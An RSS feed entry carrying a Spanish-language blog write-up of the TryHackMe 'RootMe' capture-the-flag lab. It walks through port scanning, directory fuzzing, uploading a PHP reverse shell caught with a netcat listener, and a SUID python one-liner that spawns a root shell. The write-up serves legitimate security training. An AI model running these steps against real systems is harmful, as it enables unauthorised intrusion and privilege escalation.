<?xml version="1.0" encoding="utf-8" standalone="yes"?><?xml-stylesheet href="/feed_style.xsl" type="text/xsl"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="https://www.rssboard.org/media-rss">
  <channel>
    <title>Web on El blog de Ignacio</title>
    <link>https://www.igalvan.es/tags/web/</link>
    <description>Recent content in Web on El blog de Ignacio</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>es</language>
    <copyright>Ignacio Galván Vitas</copyright>
    <lastBuildDate>Tue, 23 Feb 2021 19:10:00 +0100</lastBuildDate><atom:link href="https://www.igalvan.es/tags/web/index.xml" rel="self" type="application/rss+xml" /><icon>https://www.igalvan.es/logo.svg</icon>
    
    
    <item>
      <title>CFT - TryHackMe - RootMe</title>
      <link>https://www.igalvan.es/posts/ctf-try-hack-me-root-me/</link>
      <pubDate>Tue, 23 Feb 2021 19:10:00 +0100</pubDate>
      
      <guid>https://www.igalvan.es/posts/ctf-try-hack-me-root-me/</guid>
      <description><![CDATA[<p>A ctf for beginners, can you root me?</p>
<h1 id="deploy-the-machine">Deploy the machine</h1>
<p>Bueno esto no tiene mucho misterio, es darle al botón de despliegue y esperar a que arranque.</p>
<h1 id="reconnaissance">Reconnaissance</h1>
<p>First, let&rsquo;s get information about the target.</p>
<h2 id="scan-the-machine-how-many-ports-are-open-what-service-is-running-on-port-22">Scan the machine, how many ports are open? What service is running on port 22?</h2>
<pre tabindex="0"><code>root@kali:~# nmap -sS --min-rate 500 -p- --open -n -Pn 10.10.69.166
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-20 17:10 UTC
Nmap scan report for 10.10.69.166
Host is up (0.0011s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 02:56:12:EA:16:0D (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 2.97 seconds
root@kali:~# 
</code></pre><h2 id="what-version-of-apache-is-running">What version of Apache is running?</h2>
<pre tabindex="0"><code>root@kali:~# whatweb 10.10.69.166
http://10.10.69.166 [200 OK] Apache[2.4.29], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.69.166], Script, Title[HackIT - Home]
root@kali:~# 
</code></pre><h2 id="find-directories-on-the-web-server-using-the-gobuster-tool">Find directories on the web server using the GoBuster tool.</h2>
<p>Yo uso wfuzz. Lo siento, me resulta más comoda esta herramienta.</p>
<pre tabindex="0"><code>root@kali:~# wfuzz -c -t 300 --hc=404 -w /usr/share/wordlists/wfuzz/general/big.txt http://10.10.69.166/FUZZ

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.69.166/FUZZ
Total requests: 3024

===================================================================
ID           Response   Lines    Word     Chars       Payload                             
===================================================================

000000740:   301        9 L      28 W     310 Ch      &#34;css&#34;                               
000001474:   301        9 L      28 W     309 Ch      &#34;js&#34;                               
000001988:   301        9 L      28 W     312 Ch      &#34;panel&#34;                             

Total time: 28.25782
Processed Requests: 3024
Filtered Requests: 3021
Requests/sec.: 107.0146
</code></pre><h2 id="what-is-the-hidden-directory">What is the hidden directory?</h2>
<p>Tras revisar los resultados del comando anterior es fácil concluir que la respuesta es /panel/.</p>
<h1 id="getting-a-shell">Getting a shell</h1>
<h2 id="find-a-form-to-upload-and-get-a-reverse-shell-and-find-the-flag">Find a form to upload and get a reverse shell, and find the flag.</h2>
<p>He optado por la shell inversa de <a href="https://github.com/pentestmonkey/php-reverse-shell">Pentestmonkey</a>. Hay que editar el fichero y cambiar la IP a la de nuestro equipo atacante y, si se desea, cambiar el puerto.</p>
<p><img src="/images/2021/20210223-rootme-uploads.png" alt="image-20210223190717386"></p>
<p>Al mismo tiempo preparo una sesión de netcat en el equipo atacante para recibir la conexión de la shell inversa.</p>
<pre tabindex="0"><code>root@kali:~# rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.82.225] from (UNKNOWN) [10.10.69.166] 39068
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 17:23:36 up 15 min,  0 users,  load average: 0.00, 0.06, 0.14
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can&#39;t access tty; job control turned off
$ 
</code></pre><h2 id="usertxt">user.txt</h2>
<pre tabindex="0"><code>$ ls
html
user.txt
$ cat user.txt
{ESTO_NO_TE_LO_PONGO}
$ 
</code></pre><h1 id="privilege-escalation">Privilege escalation</h1>
<p>Now that we have a shell, let&rsquo;s escalate our privileges to root.</p>
<h2 id="search-for-files-with-suid-permission-which-file-is-weird">Search for files with SUID permission, which file is weird?</h2>
<p>Hago una búsqueda ejecutables con SUID y entre los resultados destaca el ejecutable de Python.</p>
<pre tabindex="0"><code>$ find / -perm -u=s -type f 2&gt;/dev/null
[...]
/usr/bin/python
[...]
</code></pre><h2 id="find-a-form-to-escalate-your-privileges">Find a form to escalate your privileges.</h2>
<p>Busco la forma de explotar el binario de Python en la web <a href="https://gtfobins.github.io/">GTFOBins</a> y ejecuto lo siguiente.</p>
<pre tabindex="0"><code>$ python -c &#39;import os; os.execl(&#34;/bin/sh&#34;, &#34;sh&#34;, &#34;-p&#34;)&#39;
whoami
root
</code></pre><h2 id="roottxt">root.txt</h2>
<pre tabindex="0"><code>cd /root
ls
root.txt
cat root.txt
{ESTO_NO_TE_LO_PONGO}
</code></pre>]]></description>
      
    </item>
    
    
  </channel>
</rss>
